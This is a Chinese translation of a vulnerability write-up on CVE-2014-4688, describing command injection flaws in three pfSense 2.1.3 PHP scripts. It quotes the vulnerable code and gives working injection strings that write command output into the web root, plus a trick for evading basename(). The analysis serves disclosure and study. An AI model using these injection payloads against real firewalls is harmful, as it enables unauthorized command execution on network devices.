作者:
mssp299
·
2015/09/09 14:00
翻譯:mssp299
原文地址:https://www.proteansec.com/linux/pfsense-vulnerabilities-part-2-command-injection/
0x00 導言
在本文中,我們將向大家介紹在PfSense
的2.1.3
以及更低版本中的CVE-2014-4688
漏洞;對於更高的版本來說,pfSense
已經修復了這個漏洞。
0x01 Diag_dns.php指令碼中的命令注入漏洞
下面展示的是指令碼diag_dns.php
中存在命令注入漏洞的程式碼片。我們可以看到,這段程式碼首先檢查POST
引數host
是否存在,如果存在的話,就將變數$GET
的值賦給變數$POST
。然後,程式碼繼續檢查GET
引數createalias
的值是否等於true
,如果是的話,則把POST引數host的值的首尾空白符去掉:trim()
函式的作用就是去掉字串首尾處的空白符,但是字串中間部分的空白符則保持不變。之後,還有一些其他語句,不過它們並不是我們這裡關注的重點,我們關心的是如何插入在反引號中執行的命令。
/* Cheap hack to support both $_GET and $_POST */
if ($_GET['host'])
$_POST = $_GET;
if($_GET['createalias'] == "true") {
$host = trim($_POST['host']);
if($_GET['override'])
$override = true;
$a_aliases = &$config['aliases']['alias'];
$type = "hostname";
$resolved = gethostbyname($host);
if($resolved) {
$host = trim($_POST['host']);
$dig=`dig "$host" A | grep "$host" | grep -v ";" | awk '{ print 5 }'`;
由於我們可以直接操縱變數$host
的值,因此,我們完全可以在注入程式碼的反引號中插入我們想要執行的命令。下面,我們輸入以下內容,讓它作為POST
變數host
的輸入值:
192.168.1.1";ifconfig>/usr/local/www/temp.txt;echo+"
下面展示的是含有上述輸入字串的HTTP請求,具體如圖所示。
圖1 傳送給伺服器的惡意請求
當上面所示的請求被執行時,Web
瀏覽器會顯示如下所示的內容,其中含有一個錯誤資訊,出錯原因是沒有提供有效的主機名。
圖2 錯誤訊息:invalid hostname
我們已經在使用者提供的POST
引數host
放入了一個特殊字元;,這個字元的作用是分隔多個順序執行的命令。需要注意的是這種情況下,只有當第一條命令返回``(成功返回)的時候,第二條命令才會被執行;因此,只有確保前面的命令全部成功,後面的命令才能得以執行。下面給出一些可以放在反引號中執行的命令:
# dig "192.168.1.1";
# ifconfig>/usr/local/www/temp.txt;
# echo+"" A | grep "192.168.1.1";
# ifconfig>/usr/local/www/temp.txt;
# echo+"" | grep -v ";" | awk '{ print $5 }'
我們會看到,每條命令都會正確執行,其中最重要的命令就是ifconfig
了,它已經被注入到了獲得輸出內容的指令碼中了。由於我們無法直接透過響應報文獲得這些命令的輸出結果,所以必須透過管道命令將其輸出到DocumentRoot
下的一個檔案中,然後才能透過Web
瀏覽器正常訪問。下面展示的是https://pfsense/temp.txt中的部分請求內容。
圖3 生成的temp.txt
檔案
前面,我們已經成功地注入了ifconfig
命令並得到了其輸出結果,實際上這就意味著我們可以向diag_dns.php
指令碼輸入任意命令並能得到其輸出結果。
因此,攻擊者可以注入精心構造的命令,並使其在伺服器上面執行。
0x02 Diag_smart.php指令碼中的命令注入
在diag_smart.php
指令碼中,含有一個名為update_email
的函式,程式碼如下所示。這個函式的作用是編輯smartd.conf
檔案,來新增或刪除通知磁碟出錯情況的電子郵件地址。從下面的程式碼可以看到,這個函式帶有一個名為smartmonemail
的POST
引數。需要注意的是,這個函式會呼叫sed
命令,並將引數unescaped
直接傳遞給shell_exec
函式。
function update_email($email)
{
// Did they pass an email?
if(!empty($email))
{
// Put it in the smartd.conf file
shell_exec("/usr/bin/sed -i old 's/^DEVICESCAN.*/DEVICESCAN -H -m "
$email . "/' /usr/local/etc/smartd.conf");
}
// Nope
Else
{
// Remove email flags in smartd.conf
shell_exec("/usr/bin/sed -i old 's/^DEVICESCAN.*/DEVICESCAN/'
usr/local/etc/smartd.conf");
}
}
if($_POST['email'])
{
// Write the changes to the smartd.conf file
update_email($_POST['smartmonemail']);
}
實際上,上面的程式碼存在一個漏洞,允許我們向shell_exec
函式注入任意命令,並執行之。下面的請求為我們展示了一個命令注入示例,它將"Command Injection
"反射到/var/local/www/cmd.txt
檔案中。
當shell_exec
函式執行時,實際上下列命令也會隨之執行。
# /usr/bin/sed -i old 's/^DEVICESCAN.*/DEVICESCAN -H -m ejan/'+/usr/local/etc/lynx.cfg;
# echo+"Command+Injection">/usr/local/www/cmd.txt;
# echo+' /' /usr/local/etc/smartd.conf;
在上面的命令中,第一條和第三條命令只是配角,中間那條命令才是我們想要注入的主角。實際上,我們可以利用shell_exec
函式注入任意命令。如果使用瀏覽器訪問https://pfsense/cmd.txt就會發現,這個字串實際上已經被儲存到DocumentRoot
下的相應檔案中了。
圖4 生成的cmd.txt
檔案
換句話說,攻擊者可以注入任意命令,並使其在伺服器上面執行。
0x03 Status_rrd_graph_img.php指令碼中的命令注入漏洞
在status_rrd_graph_img.php
指令碼中也存在命令注入漏洞,這主要是由於exec()
函式的呼叫方式引起的,下面是與此漏洞有關的部分程式碼。
if ($_GET['database']) {
$curdatabase = basename($_GET['database']);
} else {
$curdatabase = "wan-traffic.rrd";
}
if(strstr($curdatabase, "queues")) {
log_error(sprintf(gettext("failed to create graph from %s%s,
emoving database"),$rrddbpath,$curdatabase));
exec("/bin/rm -f $rrddbpath$curif$queues");
Flush();
Usleep(500);
enable_rrd_graphing();
}
if(strstr($curdatabase, "queuesdrop")) {
log_error(sprintf(gettext("failed to create graph from %s%s,
emoving database"),$rrddbpath,$curdatabase));
exec("/bin/rm -f $rrddbpath$curdatabase");
Flush();
Usleep(500);
enable_rrd_graphing();
}
在上述程式碼的開頭部分,會根據GET
引數database
的設定情況來呼叫basename
函式:如果設定了該引數,則利用它來呼叫basename
函式;否則就被設為靜態字串wan-traffic.rrd
。由於我們想要將程式碼注入到這個指令碼中,所以,我們必須將這個引數設為某個值,因為我們必須這樣做才能繞過basename
函式。此外,basename
函式需要一個檔案路徑作為其引數,其返回值為路徑中的檔名部分(不包括副檔名),需要說明的是在Linux /BSD(pfSense)
中使用正斜槓/來作為路徑分隔符。因此,這個函式返回的內容基本上就是最後一個正斜槓/後面的字串,這一點在注入引數值時必須考慮到,因為最後一個正斜槓前面的內容都會被刪去。 因此,我們可以向GET
引數database
中注入任意字元,但是正斜槓除外。需要注意的是,我們可以向上面程式碼中的任何一個exec()
語句注入命令,這主要取決於利用GET
引數databage
傳遞的字串——就本例來說,我們使用的是第二個exec()
函式呼叫,因為它要更簡單一些。 當上面的底部程式碼被執行的時候,下列命令也會隨之執行。
# /bin/rm -f /var/db/rrd/$curdatabase;
我們可以在這個命令的尾部新增字元;,以便插入其他在rm
命令執行結束以後需要執行的命令。需要說明的是,如果我們使用了命令分隔符;的話,那麼只有當rm
命令已經成功執行完成之後,後插入的命令才會被執行。如果我們並不關心rm
命令的執行結果的話,我們可以使用&&
來分隔命令。需要說明的是,我們無法向任意目錄中echo
文字,因為這裡不允許使用正斜槓。為了克服這個問題,我們可以先透過cd
命令進入預定目錄,然後透過命令管道實現文字傳輸的目的。首先,我們必須搞清楚被執行程式碼的當前目錄,這裡為/var/db/rrd/directory
。下面的請求展示了我們是如何執行queues;echo+"CMD+INJECT">cmd.txt
命令的。
圖5 執行echo
命令的請求
由於當前目錄是/var/db/rrd/
,因此,這裡建立的cmd.txt
檔案的內容為CMD INJECT
,這可以透過顯示該檔案的內容來加以檢驗。
# cat /var/db/rrd/cmd.txt CMD INJECT
為了在PfSense
安裝路徑下的DocumentRoot
中生成同樣的檔案,我們可以透過三個cd ..
命令返回上層目錄,然後切換至 /usr/local/www/ directory
目錄,並從這裡執行echo
命令。這樣就能夠在/usr/local/www/cmd.txt
路徑生成cmd.txt
檔案了。
圖6 執行echo
命令的請求
由於我們當前位於PfSense Web
應用的DocumentRoot
目錄中,所以只要在瀏覽器中請求cmd.txt
,就能知道是否收到了輸出CMD INJECT
了。
圖7 生成的cmd.txt
檔案
這個漏洞允許我們在PfSense
伺服器上執行任意的程式碼,因此最終會導致這個防火牆形同虛設。 換句話說,攻擊者可以注入任意命令,並使其在伺服器上面執行。
0x04 小結
本文詳細分析了我們在PfSense中發現的一些命令注入漏洞,希望對讀者朋友們有所幫助。
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!